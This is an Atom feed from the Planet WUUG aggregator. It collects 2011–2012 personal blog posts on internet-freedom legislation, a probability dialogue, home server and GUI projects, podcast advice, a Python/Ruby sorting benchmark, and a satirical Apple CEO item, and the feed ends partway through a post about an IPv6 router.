<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<feed xmlns="http://www.w3.org/2005/Atom">

	<title>Planet WUUG</title>
	<link rel="self" href="http://planet.wuug.org/atom.xml"/>
	<link href="http://planet.wuug.org/"/>
	<id>http://planet.wuug.org/atom.xml</id>
	<updated>2012-02-06T14:00:15+00:00</updated>
	<generator uri="http://www.planetplanet.org/">Planet/2.0 +http://www.planetplanet.org</generator>

	<entry xml:lang="en">
		<title type="html">Interesting How Things Work Out: Internet Freedom</title>
		<link href="http://www.allthingsexpounded.com/2012/02/internet-freedom/"/>
		<id>http://www.allthingsexpounded.com/?p=5960</id>
		<updated>2012-02-02T17:14:32+00:00</updated>
		<content type="html">&lt;p&gt;Tim Johnson is a U.S. Democratic Party senator from South Dakota.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;He co-sponsored PIPA in the U.S.&lt;/li&gt;
&lt;li&gt;He is also the primary sponsor of the &lt;a href=&quot;http://peacenow.org/ISAHRASectionbysectionFINAL%20doc.pdf&quot;&gt;Johnson-Shelby Iran Sanctions, Accountability and Human Rights Act of 2012&lt;/a&gt;, which &amp;#8220;Requires the Administration to devise a comprehensive strategy and report to Congress on how best to assist Iran’s citizens in freely and safely accessing the Internet, developing counter-censorship technologies, expanding access to &amp;#8216;surrogate&amp;#8217; programming including VOA’s Persian News Network, and Radio FARDA inside Iran, and taking other similar measures.&amp;#8221;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Interesting how things work out, eh?&lt;/p&gt;
&lt;p&gt;[HT: &lt;a href=&quot;http://www.antiwar.com/blog/2012/02/01/senate-calls-for-obama-to-push-iran-internet-freedom/&quot;&gt;Jason Ditz&lt;/a&gt;]&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">What The Hare Said To Hector</title>
		<link href="http://blog.mavrinac.com/2012/01/what-the-hare-said-to-hector/"/>
		<id>http://blog.mavrinac.com/?p=212</id>
		<updated>2012-01-20T16:59:19+00:00</updated>
		<content type="html">&lt;p&gt;&lt;strong&gt;Hector:&lt;/strong&gt; Alright, explain your game to me, Mr. Hare.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hare:&lt;/strong&gt; First, I will stand somewhere along the race track, but I won&amp;#8217;t tell you where, and this wall hides me from view. Now, do you see this large contraption here?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hector:&lt;/strong&gt; Indeed. There is a &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=l&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;l&quot; title=&quot;l&quot; class=&quot;latex&quot; /&gt;-meter long net suspended from a high cable that extends along the track between two poles. Attached to the pole at this end (behind the wall) is a box with a crank, a lever, an &lt;a href=&quot;http://en.wikipedia.org/wiki/Anemometer&quot;&gt;anemometer&lt;/a&gt;, and a graphing calculator. I surmise that the crank moves the net along the cable, and that the lever releases it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hare:&lt;/strong&gt; Very astute!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hector:&lt;/strong&gt; And I suppose that my goal is to trap you under the net?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hare:&lt;/strong&gt; Without any information to guide you? No such nonsense. In fact, the game is much more subtle than that. You will indeed crank the net to a position of your choosing &amp;#8212; let&amp;#8217;s name the end closest to you &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=n&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;n&quot; title=&quot;n&quot; class=&quot;latex&quot; /&gt; &amp;#8212; and then release it. I will then reveal my position &amp;#8212; call it &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=h&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;h&quot; title=&quot;h&quot; class=&quot;latex&quot; /&gt; &amp;#8212; to you, and you must wager with me on whether I am under the net.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hector:&lt;/strong&gt; Too easy! If &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=n%20%5Cleq%20h%20%5Cleq%20n%20%2B%20l&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;n \leq h \leq n + l&quot; title=&quot;n \leq h \leq n + l&quot; class=&quot;latex&quot; /&gt;, then I wager that you are under the net; otherwise, that you aren&amp;#8217;t. I can&amp;#8217;t lose!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hare:&lt;/strong&gt; Ah, not so fast. You see, there are random winds along the direction of the race track in these parts, and so the net may be blown considerably off from a straight downward course.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hector:&lt;/strong&gt; Which, of course, I won&amp;#8217;t be able to see, due to the wall.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hare:&lt;/strong&gt; Precisely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hector:&lt;/strong&gt; So, we could say that the net covers not &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Bn%2C%20n%20%2B%20l%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;[n, n + l]&quot; title=&quot;[n, n + l]&quot; class=&quot;latex&quot; /&gt;, but &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Bu%2C%20u%20%2B%20l%5D&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;[u, u + l]&quot; title=&quot;[u, u + l]&quot; class=&quot;latex&quot; /&gt;, where &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=u&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;u&quot; title=&quot;u&quot; class=&quot;latex&quot; /&gt; is a &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=n&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;n&quot; title=&quot;n&quot; class=&quot;latex&quot; /&gt;-mean &lt;a href=&quot;http://en.wikipedia.org/wiki/Gaussian_process&quot;&gt;Gaussian process&lt;/a&gt; with &lt;a href=&quot;http://en.wikipedia.org/wiki/Standard_deviation&quot;&gt;standard deviation&lt;/a&gt; &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Csigma&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\sigma&quot; title=&quot;\sigma&quot; class=&quot;latex&quot; /&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hare:&lt;/strong&gt; If you like.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hector:&lt;/strong&gt; Hence the anemometer, from which I can estimate &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Csigma&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\sigma&quot; title=&quot;\sigma&quot; class=&quot;latex&quot; /&gt;. I see. Thus, my task is reduced to the following: given &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=n&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;n&quot; title=&quot;n&quot; class=&quot;latex&quot; /&gt;, &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=l&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;l&quot; title=&quot;l&quot; class=&quot;latex&quot; /&gt;, &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Csigma&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\sigma&quot; title=&quot;\sigma&quot; class=&quot;latex&quot; /&gt;, and &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=h&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;h&quot; title=&quot;h&quot; class=&quot;latex&quot; /&gt;, compute the probability that &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=u%20%5Cleq%20h%20%5Cleq%20u%20%2B%20l&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;u \leq h \leq u + l&quot; title=&quot;u \leq h \leq u + l&quot; class=&quot;latex&quot; /&gt;. From there, I can decide whether the wager has a positive &lt;a href=&quot;http://en.wikipedia.org/wiki/Expected_value&quot;&gt;expected value&lt;/a&gt; for me.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hare:&lt;/strong&gt; Well played, Hector. But there is still one outstanding consideration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hector:&lt;/strong&gt; And that is?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hare:&lt;/strong&gt; Actually computing the probability you speak of quickly enough to make your wager! I have somewhere to be promptly after this game, and as you know, we leporids hate to be late&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And with that, the Hare races off around the wall and down the track.&lt;/em&gt;&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">started making my internal lan monitor stuffs</title>
		<link href="http://blog.sandmines.org/?q=node/7"/>
		<id>http://blog.sandmines.org/7 at http://blog.sandmines.org</id>
		<updated>2012-01-17T07:00:52+00:00</updated>
		<content type="html">&lt;p&gt;I decided rather than having to log into my server to check my hardware raid status and other things, to make a simple little client / server app that serves the status of the raid array and other things. I've dedicated a whole monitor for this app (just a little 17&quot; lcd) and plan to add support for windows-based systems as well.&lt;br /&gt;
 The server is plugin-based, which means if you want to monitor some other sort of stuff, you make a very basic .so which will be loaded by the server on startup.&lt;br /&gt;
 Currently the server reports ibm serveraid status, memory info, and uptime and load.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.sandmines.org/?q=node/7&quot; target=&quot;_blank&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2012-02-06T14:00:13+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">sandmines migrated to a new server</title>
		<link href="http://blog.sandmines.org/?q=node/6"/>
		<id>http://blog.sandmines.org/6 at http://blog.sandmines.org</id>
		<updated>2011-11-07T05:26:42+00:00</updated>
		<content type="html">&lt;p&gt;I came across some 1u xeon racks which had ibm serveraid ultra320 scsi controller cards, dual xeon 3.0ghz hyperthreaded cpu's, and 2 72gb u320 scsi drives as well as 3gb of ram, so I've decided to upgrade my old server with parts from this new one (mainly because it has 8 drive bays to the 1u's 2 drive bays, plus it has redundant hot-swap power supplies). I was previously using software raid, so I'm hoping to get better performance from the new hardware raid cards. The old processors were 2.4ghz xeons, so I'm getting better performance from the new ones as well.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.sandmines.org/?q=node/6&quot; target=&quot;_blank&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2012-02-06T14:00:13+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">New Steve Jobs Successor Announced Today</title>
		<link href="http://www.allthingsexpounded.com/2011/08/new-steve-jobs-successor-announced-today/"/>
		<id>http://www.allthingsexpounded.com/?p=3464</id>
		<updated>2011-08-26T16:07:29+00:00</updated>
		<content type="html">&lt;p&gt;In an inevitable move this morning, Apple announced that Rudy Giuliani would be the successor to CEO Steve Jobs.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/rudy.jpg&quot;&gt;&lt;img class=&quot;aligncenter size-full wp-image-3467&quot; title=&quot;rudy&quot; src=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/rudy.jpg&quot; alt=&quot;&quot; width=&quot;290&quot; height=&quot;272&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Apple announced that Rudy had plenty of experience handling the &amp;#8220;Big Apple&amp;#8221;, so directing the future as CEO of the little apple should be child&amp;#8217;s play. Rudy has stated repeatedly that he&amp;#8217;s looking forward to &amp;#8220;a breath of fresh air&amp;#8221; in Northern California, and the lack of term limits.&lt;/p&gt;
&lt;p&gt;When asked about whether this had any impact on the possibility of a &amp;#8220;Perry-Giuliani&amp;#8221; presidential ticket, Rudy refused to answer directly and merely muttered a mysterious phrase &amp;#8220;Look iVicePresidential?&amp;#8221;&lt;/p&gt;
&lt;p&gt;Speculations are swirling as to how Rudy will show himself &amp;#8220;tough on crime&amp;#8221; in the Apple community, which most reliable sources agree is filled with thugs and vagabonds. When asked what he could do for Apple, Rudy stated that during his mayorial career, his record on New York&amp;#8217;s crime rate was an example of &amp;#8220;the most focused form of policing in history&amp;#8221; and that he would &amp;#8220;take the iPhone desktop device to new unimagined heights&amp;#8221;. &amp;#8220;Believe, me, I have a legacy beyond 9/11 and Apple recognizes that. Why else would they pick me?&amp;#8221;&lt;/p&gt;
&lt;p&gt;When asked critical questions at the press conference about his lack of expertise, knowledge of, or passion for the Apple product line, Giuliani responded vigorously: &amp;#8220;My technological affiliation, my geek knowledge and the devotion to Apple products, I leave to Steve Wozniak to judge.&amp;#8221;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/Woz.jpg&quot;&gt;&lt;img class=&quot;aligncenter size-full wp-image-3470&quot; title=&quot;Woz&quot; src=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/Woz.jpg&quot; alt=&quot;&quot; width=&quot;500&quot; height=&quot;367&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When Steve Wozniak, the co-founder of Apple, was asked about Giuliani he had a vigorous belly-laugh and narrowed his eyes and said, &amp;#8220;I have an opinion, but remember I&amp;#8217;m still technically an employee and a shareholder.&amp;#8221; He continued to laugh and then said &amp;#8220;Let&amp;#8217;s just say that Rudy will never be inducted into the National Inventors Hall of Fame like I have. And he&amp;#8217;s more of a Blackberry type of guy.&amp;#8221;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/Giuliani-phone.jpg&quot;&gt;&lt;img class=&quot;aligncenter size-full wp-image-3471&quot; title=&quot;Giuliani phone&quot; src=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/Giuliani-phone.jpg&quot; alt=&quot;&quot; width=&quot;200&quot; height=&quot;188&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Rudy refused to comment on Wozniak&amp;#8217;s belly-laugh and has neither confirmed nor denied whether he will be wearing a turtleneck.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/4859243567_giuliani_answer_1_xlarge.jpeg&quot;&gt;&lt;img class=&quot;aligncenter size-full wp-image-3468&quot; title=&quot;4859243567_giuliani_answer_1_xlarge&quot; src=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/4859243567_giuliani_answer_1_xlarge.jpeg&quot; alt=&quot;&quot; width=&quot;350&quot; height=&quot;272&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Despite obvious differences, there are some interesting similarities between Rudolph William Louis &amp;#8220;Rudy&amp;#8221; Giuliani and Steven Paul &amp;#8220;Steve&amp;#8221; Jobs.  However, marketing analyst Coleen Card doubts whether Rudy can fill Steve&amp;#8217;s turtleneck and present the sort of &amp;#8220;cool&amp;#8221; image that Apple needs.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/Z-Rudy-060304_RudyGiuliani_vl.widec_.jpg&quot;&gt;&lt;img class=&quot;aligncenter size-full wp-image-3469&quot; title=&quot;Z Rudy 060304_RudyGiuliani_vl.widec&quot; src=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-content/uploads/2011/08/Z-Rudy-060304_RudyGiuliani_vl.widec_.jpg&quot; alt=&quot;&quot; width=&quot;225&quot; height=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Disassociated Press, August 26, 2011&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">started porting my gui (smg) to os x, cocoa.</title>
		<link href="http://blog.sandmines.org/?q=node/5"/>
		<id>http://blog.sandmines.org/5 at http://blog.sandmines.org</id>
		<updated>2011-08-14T05:55:56+00:00</updated>
		<content type="html">&lt;p&gt;Well it seems like a good learning experience, plus expansion of my gui, to port it to os x. Since most os x cocoa apps are created using objective-c, I've had to learn the basics of that. As well, it seems most mac apps are created using an interface builder, which, to me, seems like a rapid app dev tool. After much fumbling around, I've managed to get something together that opens a window, using a dynamic library to access the objective-c cocoa stuffs, and provided an interface in C to (right now) open a window.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.sandmines.org/?q=node/5&quot; target=&quot;_blank&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2012-02-06T14:00:13+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">My Philosophy of Podcasts</title>
		<link href="http://www.allthingsexpounded.com/2011/08/my-philosophy-of-podcasts/"/>
		<id>http://www.allthingsexpounded.com/?p=2959</id>
		<updated>2011-08-10T16:57:37+00:00</updated>
		<content type="html">&lt;ol&gt;
&lt;li&gt;Use a good player that fully supports podcasts. The last thing you want is a player that supposedly supports podcasts but then makes you do all the leg work (thus eliminating some of the major advantages of podcasts). A podcast, by definition has a feed, and the player should support subscribing to that feed in some fashion, and have some mechanisms to automatically download the episodes for you and present them to you in some fashion. It should also provide some mechanisms to present which shows have been listed to and delete or hide them. If you are on an Android phone, I highly recommend DoggCatcher (I know, weird name, but it is great).&lt;/li&gt;
&lt;li&gt;The beauty of podcasts is the way you can set your player/device to fetch them automatically and delete them when you are done. It&amp;#8217;s hard to believe we had to go to the websites individually to manually download this stuff!&lt;/li&gt;
&lt;li&gt;Having too many podcasts can be frustrating, you can never keep up. Too few can can be annoying because there will be times when you would like to listen something and simply have no episodes of anything.&lt;/li&gt;
&lt;li&gt;Podcasts that advertise themselves as such, but then fail to provide an RSS feed annoy me to no end. Individual mp3 episodes (in my mind) are not a podcast! I can&amp;#8217;t tell you how many times I encounter sites (made by people who should know better), who make it nearly impossible to find the podcast rss link.&lt;/li&gt;
&lt;li&gt;Podcasts that only feature an Itunes subscribe link are annoying too! Hello, not everyone has an apple device and not everyone uses itunes&amp;#8230;&lt;/li&gt;
&lt;li&gt;&amp;#8220;Is there any chance I&amp;#8217;ll listen to an episode of this in the next month?&amp;#8221; may be a good criteria to determine whether to subscribe.&lt;/li&gt;
&lt;li&gt;There are basically two types of podcasts, the ones you want to listen to every single minute of, and other ones that you let run and tune in and out on (or perhaps look at the title a just skip through them).&lt;/li&gt;
&lt;li&gt;A good balance between &amp;#8220;an episode every day or week&amp;#8221; and &amp;#8220;an episode or two this year, perhaps&amp;#8221; shows is good. Too many of the former and you will be overloaded and never able to keep up. Too few, and you&amp;#8217;ll find yourself wanting to listen to something and not have anything.&lt;/li&gt;
&lt;li&gt;A good variety between emphasis on episodes among your podcast list is good (ie. both long and short, interviews and lectures, serious and funny, etc.)&lt;/li&gt;
&lt;li&gt; Are you a podcaster and you want to improve your podcast? General tips that should work out to your advantages in most cases:&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;Publish more than once a month but less than twice a week, and then make your shows longer if you need to.&lt;/li&gt;
&lt;li&gt;Try to make your shows an hour or less if you can.&lt;/li&gt;
&lt;li&gt;On your website, make the RSS feed clearly visible!&lt;/li&gt;
&lt;li&gt;Avoid annoying ranting, if you are just one person, at least interview someone once in a while!&lt;/li&gt;
&lt;li&gt;Balance continuity and discontinuity between shows.  No thread or too much of a thread between shows can become a problem.&lt;/li&gt;
&lt;li&gt;Each episode, while ideally sharing common themes and continuing various memes, should to some degree intelligible without listening to the previous show or all the shows up to date.&lt;/li&gt;
&lt;li&gt;If you make jokes and your show isn&amp;#8217;t explicitly about humor, more likely than not your jokes will sound corny.&lt;/li&gt;
&lt;li&gt;Consider and evaluate the tone you use and the way you handle guests or people you talk about! An overly polemic or negative tone actually gets quite annoying when you listen to it over and over again.&lt;/li&gt;
&lt;li&gt;Try to get the best audio quality you can!&lt;/li&gt;
&lt;li&gt;Think carefully about the theme music, don&amp;#8217;t make it too long.&lt;/li&gt;
&lt;li&gt;Episode show notes can be a real asset if they are done well.&lt;/li&gt;
&lt;li&gt;Constantly talking about money (unless of course you are NPR Planet Money &lt;img src=&quot;http://173.255.224.246/blogs/allthingsexpounded/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot; class=&quot;wp-smiley&quot; /&gt; ) gets old very quickly (and saying how you &amp;#8220;hate doing this&amp;#8221; or &amp;#8220;we never do this&amp;#8221; doesn&amp;#8217;t make it more excusable). Hearing small one-man podcasts repeatedly talk about money gets really irritating. If you&amp;#8217;re a big organization that actually has an infrastructure and a following outside of your podcast, this is more excusable, though depending on context it can still be annoying.  I think I must have dropped at least 4-5 podcasts because the constant jabbering about money or complaining about the lack of it just got so annoying and eliminated or reduced the usefuless of the podcast.  If you talk about money do it minimally, giving listeners the information they need in order to donate (without repeating it too often).  While one might pay for audio content, it is highly unlikely anyone wants to pay for audio content of you asking people to pay you for audio content. If you do ask for money, I suggest taking one of the following approaches:&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;Put it on your website, but leave it out of the podcast.&lt;/li&gt;
&lt;li&gt;Make it a predictable, scripted, tasteful presentation of about 15-20 seconds a consistent place in the beginning or end of your show (if I get the sense that any time, I could get an extemperaneous speech lasting between 1 minute and 20, I will drop your show ASAP).&lt;/li&gt;
&lt;li&gt;Devote one show to talking about money and then drop the topic and do not bring it up in any other show until at least a year or two has passed.&lt;/li&gt;
&lt;/ol&gt;
&lt;/ol&gt;
&lt;/ol&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">A Fun Python/Ruby Exercise</title>
		<link href="http://www.allthingsexpounded.com/2011/07/a-fun-pythonruby-exercise/"/>
		<id>http://www.allthingsexpounded.com/?p=2638</id>
		<updated>2011-07-15T09:36:28+00:00</updated>
		<content type="html">&lt;p&gt;1. I made a function to generate one million random integers between 0 and two million.&lt;/p&gt;
&lt;p&gt;2. I wrote another function to do a bit map sort on this list of integers (slightly cheating by having my bit map sort function receive a parameter which represented the maximum value it might encounter&amp;#8211;two million). The bit map sort was roughly based on one in a Jon Bentley book Programming Pearls.&lt;/p&gt;
&lt;p&gt;3. (By the way, I implemented these two functions in both Python and Ruby).&lt;/p&gt;
&lt;p&gt;4. I then ran the following benchmarks:&lt;br /&gt;
A. Ruby (1.92): My bit map sort on the random integers&lt;br /&gt;
B. Ruby (1.92): Ruby&amp;#8217;s built-in sort on the random integers&lt;br /&gt;
C. Python (3.2): My bit map sort on the random integers&lt;br /&gt;
D. Python (3.2): Python&amp;#8217;s built-in sort on the random integers&lt;/p&gt;
&lt;p&gt;Here were the results:&lt;/p&gt;
&lt;p&gt;A. Ruby (my bit map sort, with cheating via a max value): 1.66 seconds&lt;br /&gt;
B. Ruby (built-in sort): 1.68 seconds&lt;br /&gt;
C. Python (my bit map sort, with cheating via a max value): 2.91 seconds&lt;br /&gt;
D. Python (built-in sort): 3.19 seconds&lt;/p&gt;
&lt;p&gt;There is a remarkable difference between Python and Ruby in terms of speed/overhead.&lt;/p&gt;
&lt;p&gt;(Note: After I ran the initial benchmarks, by refactoring my bit map sort to fix an inefficiency in the bitmap initialization, I was able to bring the Ruby version down to an execution time of 1.38 seconds and the Python version down to 2.77 seconds. I&amp;#8217;ve posted the source for the &lt;a href=&quot;https://github.com/MarkNenadov/varia/blob/master/Python/intplay.py&quot;&gt;python version&lt;/a&gt; and the &lt;a href=&quot;https://github.com/MarkNenadov/varia/blob/master/Ruby/intplay.rb&quot;&gt;ruby version&lt;/a&gt;.)&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Thoughts on Beautiful Code</title>
		<link href="http://www.allthingsexpounded.com/2011/07/thoughts-on-beautiful-code/"/>
		<id>http://www.allthingsexpounded.com/?p=2634</id>
		<updated>2011-07-14T16:07:24+00:00</updated>
		<content type="html">&lt;p&gt;Here are some good programming thoughts from &lt;em&gt;Beautiful Code&lt;/em&gt; (edited by Andy Oram and Greg Wilson, O&amp;#8217;Reilly).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;On Elegance vs. Performance Trade-offs&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;#8220;[I]t&amp;#8217;s much easier to make beautiful-but-slow code fast than it is to make fast-but-ugly code beautiful&amp;#8221; &amp;#8211; Rusty Harold (author, former professor)&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Defining Beauty&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;#8220;Code is typically considered beautiful if it does what it&amp;#8217;s supposed to do with unique elegance and economy.&amp;#8221; &amp;#8211; Alberto Savoia (Google)&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;On Testing&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;#8220;Generally speaking, the main purpose of tests is to instill, reinforce, or reconfirm our confidence that the code works properly and efficiently.&amp;#8221; &amp;#8211; Alberto Savoia (Google)&lt;/p&gt;&lt;/blockquote&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">6 @ home</title>
		<link href="http://blog.free.draisey.ca/node/104"/>
		<id>http://blog.free.draisey.ca/104 at http://blog.free.draisey.ca</id>
		<updated>2011-06-30T21:37:17+00:00</updated>
		<content type="html">&lt;div class=&quot;field field-name-upload field-type-file field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Tags:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;http://blog.free.draisey.ca/taxonomy/term/7&quot;&gt;wuug&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;I just got a dlink ip6-enabled router for $30 at &amp;lt;i&amp;gt;The Source&amp;lt;/i&amp;gt;.  Now bell doesn&amp;#039;t give me ip6 access via the dsl link, so this can only do tunnelling to the greater ip6 internet, but that in itself is a great improvement over my old set-up which used a very unfriendly ip4 